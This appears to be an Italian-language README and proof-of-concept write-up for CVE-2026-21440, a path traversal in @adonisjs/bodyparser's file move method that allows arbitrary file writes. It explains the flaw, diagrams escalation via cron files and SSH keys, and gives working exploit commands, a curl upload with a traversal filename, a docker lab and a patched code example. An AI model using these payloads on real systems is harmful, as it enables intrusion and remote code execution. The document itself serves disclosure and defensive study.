
poc e writeup per cve-2026-21440: una vulnerabilità critica di path traversal in @adonisjs/bodyparser che consente la scrittura arbitraria di file
path traversal verso scrittura arbitraria di file in @adonisjs/bodyparser
esiste una vulnerabilità critica di path traversal nel pacchetto @adonisjs/bodyparser che consente a un attaccante remoto di scrivere file arbitrari al di fuori della directory di upload prevista. quando la funzione multipartfile.move() viene chiamata senza fornire esplicitamente un nome file sanificato, il parser utilizza per impostazione predefinita il nome file fornito dal client senza una sanificazione adeguata.
poiché l'implementazione utilizza path.join() e options.overwrite è impostato su true per impostazione predefinita, un attaccante può creare un nome file malevolo contenente sequenze di path traversal (ad es., ) per scrivere file in qualsiasi punto del filesystem, portando potenzialmente all'esecuzione di codice remoto.
../../etc/cron.d/malicious| attributo | valore |
|---|---|
| id cve | cve-2026-21440 |
| classificazione cwe | cwe-22: limitazione impropria di un nome di percorso a una directory ristretta ('path traversal') |
| punteggio cvss v3.1 | 9.2 (critico) |
| vettore di attacco | rete |
| complessità dell'attacco | bassa |
| privilegi richiesti | nessuno |
| interazione dell'utente | nessuna |
la vulnerabilità esiste nel metodo multipartfile.move(location, options?). quando gli sviluppatori chiamano questo metodo senza fornire options.name, il codice utilizza per impostazione predefinita this.clientName — il nome file originale inviato dal client — senza sanificazione.
// percorso di codice vulnerabile in @adonisjs/bodyparser
async move(location: string, options?: { name?: string; overwrite?: boolean }): Promise<void> {
const fileName = options?.name || this.clientName // ← input client non sanificato
const filePath = path.join(location, fileName) // ← path.join consente il traversal
// ...
await fs.move(this.tmpPath, filePath, { overwrite: options?.overwrite ?? true })
}
┌─────────────────────────────────────────────────────────────────┐
│ attaccante │
└─────────────────────────────────────────────────────────────────┘
│
│ multipart/form-data
│ filename="../../etc/cron.d/pwned"
▼
┌─────────────────────────────────────────────────────────────────┐
│ app adonisjs vulnerabile │
│ │
│ request.file('upload') │
│ │ │
│ ▼ │
│ file.move(app.tmpPath()) ← nessun nome sanificato fornito │
│ │ │
│ ▼ │
│ path.join('/tmp/uploads', '../../etc/cron.d/pwned') │
│ │ │
│ ▼ │
│ risolve in: /etc/cron.d/pwned │
│ │ │
│ ▼ │
│ file scritto al di fuori della directory di upload │
└─────────────────────────────────────────────────────────────────┘
│
▼
scrittura arbitraria di file
→ rce tramite cron
→ sovrascrittura configurazione
→ iniezione chiave ssh
| pacchetto | versioni vulnerabili | versione corretta |
|---|---|---|
@adonisjs/bodyparser | ≤ 10.1.1 | 10.1.2 |
@adonisjs/bodyparser | 11.0.0-next.1 a 11.0.0-next.5 | 11.0.0-next.6 |
@adonisjs/bodyparserfile.move() senza l'opzione name esplicita# naviga nella directory dell'exploit
cd Exploit-PoC
# installa le dipendenze
pip install -r requirements.txt
# esegui l'exploit
python exploit.py --url http://target:3333/upload --path "../../../tmp/pwned.txt" --content "pwned"
curl -X POST http://target:3333/upload \
-F "[email protected];filename=../../tmp/pwned.txt"
// ❌ vulnerabile - utilizza il nome file fornito dal client
public async upload({ request, response }: HttpContext) {
const file = request.file('upload')
if (file) {
await file.move(app.tmpPath()) // clientName utilizzato come nome file
}
return response.ok({ message: 'uploaded' })
}
// ✅ sicuro - genera un nome file sanificato
import { cuid } from '@adonisjs/core/helpers'
import path from 'node:path'
public async upload({ request, response }: HttpContext) {
const file = request.file('upload')
if (file) {
// genera un nome file univoco con l'estensione originale
const ext = path.extname(file.clientName).toLowerCase()
const safeName = `${cuid()}${ext}`
await file.move(app.tmpPath(), {
name: safeName,
overwrite: false // previene le sovrascritture
})
}
return response.ok({ message: 'uploaded' })
}
@adonisjs/bodyparser alla versione corretta# clona il repository
git clone https://github.com/k0nnect/cve-2026-21440.git
cd cve-2026-21440
# avvia l'ambiente vulnerabile
docker-compose up --build
# in un altro terminale, esegui l'exploit
cd Exploit-PoC
python exploit.py --url http://localhost:3333/upload --path "../test.txt"
# verifica che il file sia stato scritto al di fuori della directory di upload
docker-compose exec app cat /app/test.txt
| data | evento |
|---|---|
| 2026-01-02 | patch rilasciata in 10.1.2 e 11.0.0-next.6 |
| 2026-01-02 | ghsa-gvq6-hvvp-h34h pubblicato |
| 2026-01-02 | cve-2026-21440 assegnato |
| 2026-01-02 | pubblicato da nvd |
questo repository è fornito esclusivamente a scopo educativo e di ricerca sulla sicurezza autorizzata. il codice di prova di concetto è inteso ad aiutare i professionisti della sicurezza a comprendere e testare questa vulnerabilità in ambienti che sono autorizzati a valutare.
l'accesso non autorizzato a sistemi informatici è illegale. gli autori non si assumono alcuna responsabilità per l'uso improprio di queste informazioni. ottieni sempre la dovuta autorizzazione prima di testare le vulnerabilità.
ricercato con ☕ da k0nnect